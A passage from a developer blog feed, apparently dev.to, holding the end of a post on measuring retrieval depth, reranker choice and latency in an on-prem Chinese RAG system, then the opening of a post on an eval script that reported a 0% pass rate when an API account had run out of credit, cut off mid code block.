&lt;p&gt;Without that probe I'd have swept &lt;code&gt;top-k = 10 / 20 / 30 / 50 / 80 / 100&lt;/code&gt;, six configurations, 29 questions each, tens of seconds per question — &lt;strong&gt;about an hour&lt;/strong&gt;. After the ten-second probe, those six configurations collapsed to &lt;strong&gt;one&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where this started: a to-do I wrote for myself
&lt;/h2&gt;

&lt;p&gt;I was evaluating a "the data never leaves the building" knowledge base for a client, and wrote up my research as a handoff doc for the next session. The to-do was specific:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Step 1: top-k 10 → 50 (zero cost, zero VRAM)&lt;/strong&gt; — a public benchmark on 3,493 traditional-Chinese questions shows a weak embedding plus a reranker reaching 98%+ at k=100, beating every single-stage retriever.&lt;br&gt;
⚠️ Don't just crank it to the max (a SIGIR 2025 paper reports that over-reranking degrades results); there's a sweet spot and you have to sweep for it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: &lt;code&gt;bge-reranker-base&lt;/code&gt; → &lt;code&gt;bge-reranker-v2-m3&lt;/code&gt;&lt;/strong&gt; (+1.3GB, same architecture, same API, no prompt changes)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It reads as completely reasonable. External benchmarks behind it, a counter-example warning, a clear execution order.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Both steps ended up as "don't."&lt;/strong&gt; And that "zero cost" in step 1 is wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  First cut: the cheap adjacent question
&lt;/h2&gt;

&lt;p&gt;Before touching anything I looked at the table from my previous round:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuration&lt;/th&gt;
&lt;th&gt;K=1&lt;/th&gt;
&lt;th&gt;K=3&lt;/th&gt;
&lt;th&gt;K=5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vector only&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;88%&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vector + rerank (candidate depth 30)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector + rerank (candidate depth 10)&lt;/td&gt;
&lt;td&gt;84%&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;96% is 24 out of 25. &lt;strong&gt;And the miss is always the same question.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That sentence matters, because it &lt;strong&gt;caps&lt;/strong&gt; the question "how much can deeper candidates buy me?" — &lt;strong&gt;at most one question, i.e. 4 percentage points.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So the question changed from "which k is best?" into something far cheaper: &lt;strong&gt;did the reranker ever even see the correct answer for that one question?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wrote a ten-second probe: for each of the 25 questions, where does the passage containing the correct answer rank by raw vector similarity?&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rank of the first correct passage&lt;/th&gt;
&lt;th&gt;Questions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1st&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3rd / 5th / 21st&lt;/td&gt;
&lt;td&gt;1 each&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;83rd&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;1&lt;/strong&gt; (the usual suspect)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One table cut six configurations down to one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Depth 10 → correct answer present in candidates for 23/25 (&lt;strong&gt;ceiling 92%&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Depth 30 → 24/25 (&lt;strong&gt;ceiling 96%&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Depth &lt;strong&gt;50 and 80&lt;/strong&gt; → still 24/25, &lt;strong&gt;because that question sits at 83&lt;/strong&gt;. Identical ceiling to 30 ⇒ &lt;strong&gt;no need to run them&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Depth 100 → 25/25 (&lt;strong&gt;ceiling 100%&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And check the calibration: depth 10's ceiling is 92%, measured 92%. Depth 30's ceiling is 96%, measured 96%. &lt;strong&gt;Both match to the decimal.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;At that moment I derived a conclusion: &lt;em&gt;"whatever's in the candidate set, the reranker pulls into the top 5 ⇒ this pipeline's bottleneck is how deep we fish, not how good the reranker is."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The derivation itself is sound (the miss set must contain the out-of-candidates set, and the two have equal size, so they're the same set).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Then I ran depth 100, and it falsified that conclusion.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Depth 100: ceiling 100%, measured 96%
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Depth 30&lt;/th&gt;
&lt;th&gt;Depth 100&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Retrieval hit rate (K=5)&lt;/td&gt;
&lt;td&gt;96% (24/25)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96% (24/25)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miss&lt;/td&gt;
&lt;td&gt;that question&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;that question&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Median latency per question&lt;/td&gt;
&lt;td&gt;6,834 ms&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;37,651 ms&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The correct answer ranks 83rd, so it &lt;strong&gt;did&lt;/strong&gt; make it into the 100 candidates. The reranker saw it. &lt;strong&gt;And then ranked it outside the top 5.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So the right statement isn't the one I derived — it's a more useful one:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Candidate depth is necessary, not sufficient.&lt;/strong&gt;&lt;br&gt;
For that question to land, two things must both hold: ① you fish deep enough to see it, and ② the reranker is willing to rank it near the top.&lt;br&gt;
Depth 30 fails at ①. Depth 100 clears ① and fails at ②.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Incidentally: &lt;strong&gt;"zero cost" is wrong.&lt;/strong&gt; A reranker is a cross-encoder, and its cost is &lt;strong&gt;linear in the candidate count&lt;/strong&gt; — send it 100 candidates and it computes "how relevant is this passage to this question" 100 times. Going from depth 30 to 100 took each question from 6.8 to 37.7 seconds: &lt;strong&gt;5.5× the latency, for zero extra correct answers.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Zero VRAM" is right. "Zero cost" is not. And what it spends is precisely the one budget in this setup that had already bottomed out.&lt;/p&gt;




&lt;h2&gt;
  
  
  Second cut: swap in a "newer" reranker
&lt;/h2&gt;

&lt;p&gt;If the bottleneck is the reranker, replace it. My to-do said &lt;code&gt;bge-reranker-v2-m3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First discovery: that model isn't available on my stack.&lt;/strong&gt; I run ONNX through fastembed on CPU, and its cross-encoder list has six models — no v2-m3. Only two are multilingual: the &lt;code&gt;bge-reranker-base&lt;/code&gt; I'm already on (a 2023 base-tier model), and &lt;code&gt;jinaai/jina-reranker-v2-base-multilingual&lt;/code&gt; (1.11 GB, &lt;strong&gt;2024 generation, marketed on multilingual&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;Actually using v2-m3 would mean swapping the whole service from ONNX to PyTorch. That's a separate project. So I swapped in the jina model — same API, one parameter changed, no prompt edits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It lost in three directions at once:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;reranker&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;K=1&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;K=3&lt;/th&gt;
&lt;th&gt;K=5&lt;/th&gt;
&lt;th&gt;Pure Chinese prose questions, K=1&lt;/th&gt;
&lt;th&gt;Latency/question&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;bge-reranker-base&lt;/code&gt; (2023)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;88.9%&lt;/strong&gt; (8/9)&lt;/td&gt;
&lt;td&gt;6,834 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;jina-reranker-v2-multilingual&lt;/code&gt; (2024)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;76%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;66.7%&lt;/strong&gt; (6/9)&lt;/td&gt;
&lt;td&gt;8,219 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;K=1 dropped 12 points&lt;/strong&gt; (3 questions). K=1 is the column that most affects the quote — it decides how many documents the client has to feed the LLM, which decides whether they need to buy that GPU.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The worst drop is on pure Chinese prose&lt;/strong&gt; (88.9% → 66.7%). A &lt;strong&gt;multilingual-first&lt;/strong&gt; 2024 model losing to a 2023 base-tier model on traditional Chinese prose.&lt;/li&gt;
&lt;li&gt;It's also 1.2× slower.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;But the fourth reason is the fatal one, and I nearly missed it.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The fourth reason I nearly missed
&lt;/h2&gt;

&lt;p&gt;My previous round had turned up a bonus finding: &lt;strong&gt;the reranker's score itself works as a "refuse to answer without calling the LLM" gate.&lt;/strong&gt; Below a threshold, return "not found" — skip generation entirely. Fast, and structurally incapable of making things up.&lt;/p&gt;

&lt;p&gt;For this client that matters more than usual, because making things up is exactly what they're afraid of.&lt;/p&gt;

&lt;p&gt;The scoring script prints a "median top-1 score" line each round:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bge-reranker-base&lt;/code&gt;: answerable 5.26 / unanswerable −2.14&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;jina&lt;/code&gt;: answerable 0.84 / unanswerable −0.76&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That looks like "the gap got smaller." What I wrote in the report at the time was "this doesn't let us say jina made the gate worse [unknown]."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But the statistic that finding needs isn't the median.&lt;/strong&gt; It needs &lt;strong&gt;the minimum score among answerable questions&lt;/strong&gt; against &lt;strong&gt;the maximum among unanswerable ones&lt;/strong&gt; — because two distributions can have very different medians and still have overlapping tails.&lt;/p&gt;

&lt;p&gt;The per-question scores were already in the scoring run's JSON. I computed it afterwards at zero extra cost:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;reranker&lt;/th&gt;
&lt;th&gt;Answerable &lt;strong&gt;min&lt;/strong&gt;
&lt;/th&gt;
&lt;th&gt;Unanswerable &lt;strong&gt;max&lt;/strong&gt;
&lt;/th&gt;
&lt;th&gt;Gap&lt;/th&gt;
&lt;th&gt;Can one threshold separate them?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;bge-reranker-base&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−0.5237&lt;/td&gt;
&lt;td&gt;−1.8008&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+1.2771&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;yes&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;jina-v2-multilingual&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−0.9005&lt;/td&gt;
&lt;td&gt;−0.6736&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.2269&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ &lt;strong&gt;overlap&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector only (no rerank)&lt;/td&gt;
&lt;td&gt;0.5895&lt;/td&gt;
&lt;td&gt;0.6377&lt;/td&gt;
&lt;td&gt;−0.0482&lt;/td&gt;
&lt;td&gt;❌ overlap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Switching to jina means: K=1 down 12 points, latency up 1.2×, and then you also forfeit the entire refusal defence.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And the median made it look like it merely "got smaller." That's the most valuable lesson of this round: &lt;strong&gt;the statistic a report prints is not necessarily the statistic your conclusion needs.&lt;/strong&gt; I turned it into a command (reads the stored scoring JSON, zero cost) and left a test inside it: fixtures of answerable &lt;code&gt;[9, 9, 9, −1]&lt;/code&gt; and unanswerable &lt;code&gt;[0]&lt;/code&gt; — medians differ by 9, looks trivially separable; the truth is min −1 &amp;lt; max 0, &lt;strong&gt;overlap&lt;/strong&gt;. That test exists so that if anyone ever switches it back to medians, it goes red.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's actually wrong with that one question: I tried a third road too, and it's also closed
&lt;/h2&gt;

&lt;p&gt;I had one hypothesis left. Looking at the top-5 for that question across four configurations, I noticed &lt;strong&gt;all five slots in every configuration were filled by the same class of file&lt;/strong&gt; — my own blog drafts. Derivative articles discussing the same incidents, not the canonical records of those incidents.&lt;/p&gt;

&lt;p&gt;That matches a published finding: &lt;strong&gt;what hurts RAG isn't "irrelevant," it's "relevant but wrong."&lt;/strong&gt; It also matches my own earlier observation that this corpus writes about the same event a dozen times over.&lt;/p&gt;

&lt;p&gt;So I added an exclusion rule, filtered the entire blog-source directory out of the candidates, and re-ran that question.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Still missed.&lt;/strong&gt; And the correct answer didn't even make the filtered 30 candidates — excluding the derivative material just pushed &lt;strong&gt;other non-answers&lt;/strong&gt; up.&lt;/p&gt;

&lt;p&gt;Three roads walked:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hypothesis&lt;/th&gt;
&lt;th&gt;Measured&lt;/th&gt;
&lt;th&gt;Conclusion&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Not deep enough&lt;/td&gt;
&lt;td&gt;depth 100 got it into candidates, reranker still didn't rank it&lt;/td&gt;
&lt;td&gt;❌ necessary, not sufficient&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reranker too old&lt;/td&gt;
&lt;td&gt;swapped to a 2024 multilingual model; still missed, every other metric regressed&lt;/td&gt;
&lt;td&gt;❌ actively worse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corpus noise drowning the canon&lt;/td&gt;
&lt;td&gt;excluded the biggest source of derivatives; it can't even reach candidates&lt;/td&gt;
&lt;td&gt;❌ &lt;strong&gt;hypothesis falsified&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Embedding not good enough&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;untested&lt;/td&gt;
&lt;td&gt;⬅️ &lt;strong&gt;only one left&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That question asks "what has to be done to a temp table containing personal data for it to count as safe, and which incident forced that?" — and the file with the answer is anchored on a database table name. &lt;strong&gt;The question doesn't contain that table name; only the answer does.&lt;/strong&gt; It's a pure semantic-bridging task, and my embedding model puts it 83rd.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This round proved the embedding is the bottleneck, by elimination&lt;/strong&gt; — every knob outside the embedding was turned to the stop with no effect. My original plan wrote the precondition for "swap the embedding" as "only swap once you've proven embedding is the bottleneck." That precondition now holds; it just got proven by exclusion.&lt;/p&gt;

&lt;p&gt;My next cut will be &lt;strong&gt;query rewriting&lt;/strong&gt; (have the LLM expand the question into a hypothetical answer first, then embed that) rather than swapping the embedding outright — much cheaper, and among the open-source projects I've read, the one that handles Chinese most seriously does its work on the &lt;strong&gt;query construction&lt;/strong&gt; side (part-of-speech weighting, positional proximity weighting), not by changing models.&lt;/p&gt;




&lt;h2&gt;
  
  
  A red flag that goes straight into the quote
&lt;/h2&gt;

&lt;p&gt;This round also turned up something I wasn't looking for.&lt;/p&gt;

&lt;p&gt;To get a same-day control, I re-ran the depth-30 configuration. Recall was identical (96%, same question missed) — &lt;strong&gt;comparability confirmed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;But &lt;strong&gt;latency was 6,834 ms per question. A week earlier I'd measured the same configuration at 18,152 ms.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Same model, same corpus, same question bank, same laptop. A factor of 2.66.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two consequences:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;I'd been comparing a fresh depth-100 number (37,651 ms) against last week's 18,152 ms and computing "2.07×." &lt;strong&gt;Wrong.&lt;/strong&gt; The correct same-day ratio is &lt;strong&gt;5.51×&lt;/strong&gt;. &lt;strong&gt;A latency denominator has to be produced in the same round as its numerator&lt;/strong&gt; — the same discipline as "pin the corpus to a commit," which I'd applied to the corpus and not to latency.&lt;/li&gt;
&lt;li&gt;Worse: the conclusion I'd written a week earlier was "&lt;strong&gt;18 seconds per question — unusable for interactive Q&amp;amp;A&lt;/strong&gt;." &lt;strong&gt;That sentence cannot be measured today&lt;/strong&gt; (6.8 seconds). 6.8 seconds is still slow, but "slow" and "unusable" are completely different things in a client quote — and that sentence was headed into the proposal.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I don't know the source of the variance yet (thermal throttling? something else running? a package version?). &lt;strong&gt;All I can state is that corpus, question bank, and model are ruled out&lt;/strong&gt;, because all three were re-verified identical the same day.&lt;/p&gt;

&lt;p&gt;So the rule now is: &lt;strong&gt;any latency number going into a quote must have its own control, measured in the same round, on the same machine, with no other load.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Net result
&lt;/h2&gt;

&lt;p&gt;Four scoring runs, three probes, roughly an hour of machine time. What it bought:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't touch either knob.&lt;/strong&gt; Stay on &lt;code&gt;bge-reranker-base&lt;/code&gt; with candidate depth 30.&lt;/p&gt;

&lt;p&gt;That sounds like nothing happened. In practice I got three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;A number I can commit to&lt;/strong&gt;: on a 25-question benchmark, 96% retrieval at K=5, 88% at K=1, plus a refusal gate that doesn't depend on the LLM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A number I can't commit to&lt;/strong&gt;: 100% retrieval. &lt;strong&gt;Measured as unbuyable&lt;/strong&gt; — deeper candidates don't buy it, and neither does the newest reranker I can actually run. That's far more valuable than "I think we can probably get there," because it lets me write a ceiling into the proposal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two numbers not to quote&lt;/strong&gt;: any local CPU latency (2.66× day-to-day variance), and any presumption that "a newer model will be better."&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Plus one observation I can sell: &lt;strong&gt;derivative copies inside a client's corpus&lt;/strong&gt; (drafts, meeting notes, several versions of the same policy) will systematically outrank the canon — my own blog drafts pushing my own canonical records out of the top 5 is the live example. But &lt;strong&gt;don't sell "curate the corpus" as a cure-all&lt;/strong&gt;, because in the same round I measured it doing nothing for that question.&lt;/p&gt;




&lt;h2&gt;
  
  
  Four things you can take away
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Before turning any expensive knob, find a ceiling you can compute in ten seconds.&lt;/strong&gt; "At most how many questions can this buy?" routinely makes an entire sweep plan disappear.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Newer, bigger, multilingual-first" does not mean "better on your corpus."&lt;/strong&gt; Marketing labels aren't evidence. I put a 2024-generation multilingual reranker in and it lost to a 2023 base-tier model on traditional Chinese prose.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The statistic a report prints isn't necessarily the statistic your conclusion needs.&lt;/strong&gt; A median can't answer "are these separable?" Ask which statistic your claim rests on, then go compute that one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't quote a latency number without a control.&lt;/strong&gt; The same configuration varies 2.66× day to day on my machine, and it nearly put the word "unusable" into a client proposal.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you're doing this kind of measure-before-you-change work, I've written others in the same family: &lt;a href="https://dev.to/content/zero-of-ninetysix-was-an-empty-wallet-en"&gt;my test report printed "0/96, 0% pass rate" — the truth was my account was out of credit&lt;/a&gt;, on why a red light needs as much suspicion as a green one; and &lt;a href="https://dev.to/content/slimming-skill-descriptions-ab-test-en"&gt;the A/B test where I cut 41 tool descriptions in half&lt;/a&gt;, which is the same discipline applied to a change I was confident about — an absolute number can't tell you whether something dropped, so you have to go build the control arm.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/rag-two-knobs-no-gain-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-rag-two-knobs-no-gain-en" rel="noopener noreferrer"&gt;I turned both knobs on my on-prem Chinese RAG all the way up. It didn't get a single extra question right&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>My test report printed "0/96, 0% pass rate". The truth was my account was out of credit</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Sun, 30 Aug 2026 13:05:13 +0000</pubDate>
      <link>https://dev.to/dexterlung/my-test-report-printed-096-0-pass-rate-the-truth-was-my-account-was-out-of-credit-50ee</link>
      <guid>https://dev.to/dexterlung/my-test-report-printed-096-0-pass-rate-the-truth-was-my-account-was-out-of-credit-50ee</guid>
      <description>&lt;h2&gt;
  
  
  Something you can do right now
&lt;/h2&gt;

&lt;p&gt;Open any script you have that prints a score — an eval, a CI check, an audit tool, a health check — and ask it one question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;If the infrastructure fails (out of credit, expired key, rate limited, no network), what does this script print?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the answer is &lt;strong&gt;a score, a ratio, or a pass count&lt;/strong&gt;, you own a false-red-light generator.&lt;/p&gt;

&lt;p&gt;Not "might go wrong." &lt;strong&gt;Structurally guaranteed&lt;/strong&gt; — because it put "couldn't measure" and "didn't pass" in the same box.&lt;/p&gt;

&lt;p&gt;It took me a full day to see this, and I had to see it twice, on two different scripts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where it started: I'd just finished something I was confident about
&lt;/h2&gt;

&lt;p&gt;I develop with Claude Code and had accumulated 89 custom skills (think "specialised tools for the AI" — each has a name and a self-description). Those descriptions get packed into the model's opening memory, and &lt;strong&gt;that memory has a character limit&lt;/strong&gt;. Go over it and descriptions get dropped, names kept — and that tool never surfaces on its own again.&lt;/p&gt;

&lt;p&gt;I squeezed 24 of those descriptions shorter, saving 2,754 characters, retiring nothing. (The full write-up of that, with the A/B test: &lt;a href="https://dev.to/content/slimming-skill-descriptions-ab-test-en"&gt;I cut 41 AI tools' self-descriptions in half&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;The scary part of trimming is &lt;strong&gt;cutting a trigger word&lt;/strong&gt;: that description is the basis on which the model decides whether to invoke the skill, so cutting the wrong phrase makes it silently stop firing, with no error. So I wrote a reconciliation script that lists every token present in the old version and absent in the new, forcing me to judge them one by one. Eight had genuinely lost trigger words. All restored.&lt;/p&gt;

&lt;p&gt;Then I wanted harder evidence: &lt;strong&gt;behavioral tests&lt;/strong&gt;. I already had a question bank — 4 cases per skill (should-trigger, strict, should-not-trigger, boundary), 96 total.&lt;/p&gt;

&lt;p&gt;I had believed that bank didn't exist. I'd even written in a handoff doc: "most of these 24 have no test cases, so 'will it still trigger?' can only be answered by token reconciliation."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;That sentence was wrong. All 24 had cases.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What caught the wrong sentence wasn't me re-reading it. It was running a full audit before pushing, and noticing that one check had gone &lt;strong&gt;from "pass" to "blind", and had taken 100 seconds&lt;/strong&gt;. It had been triggered into actually running by my 24 changed skills. I chased that state change, and found the question bank had been there all along.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A state change in an audit item is itself a signal — often more informative than its green light.&lt;/strong&gt;&lt;br&gt;
pass→blind, fast→slow, warning count 9→10 — every one of those deserves a "why did that change?"&lt;br&gt;
If I hadn't chased it, I'd have kept a false sentence ("there's no bank to test against") while the bank sat right there.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Hole #1: an empty wallet, rendered as a 0% pass rate
&lt;/h2&gt;

&lt;p&gt;So I ran the 96 tests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│              Skill Eval Report (advisory)               │
├─────────────────────────────────────────────┬───────────┤
│ ❌ action-gating-surface-disclosure            │  0/4 (0%) │
│ ❌ architecture-completeness-guardian          │  0/4 (0%) │
│ ❌ audit-cross-repo                            │  0/4 (0%) │
                        ⋮  (all 24 like this)
├─────────────────────────────────────────────┼───────────┤
│   TOTAL                                       │ 0/96 (0%) │
└─────────────────────────────────────────────┴───────────┘

⚠️  The following skills scored &amp;lt; 50% — consider reviewing:
   (all 24 listed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I only read that table, the conclusion is unambiguous: &lt;strong&gt;I just broke all 24 tools and should roll back immediately.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Scroll down a few hundred lines and every single case's raw output is the same sentence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
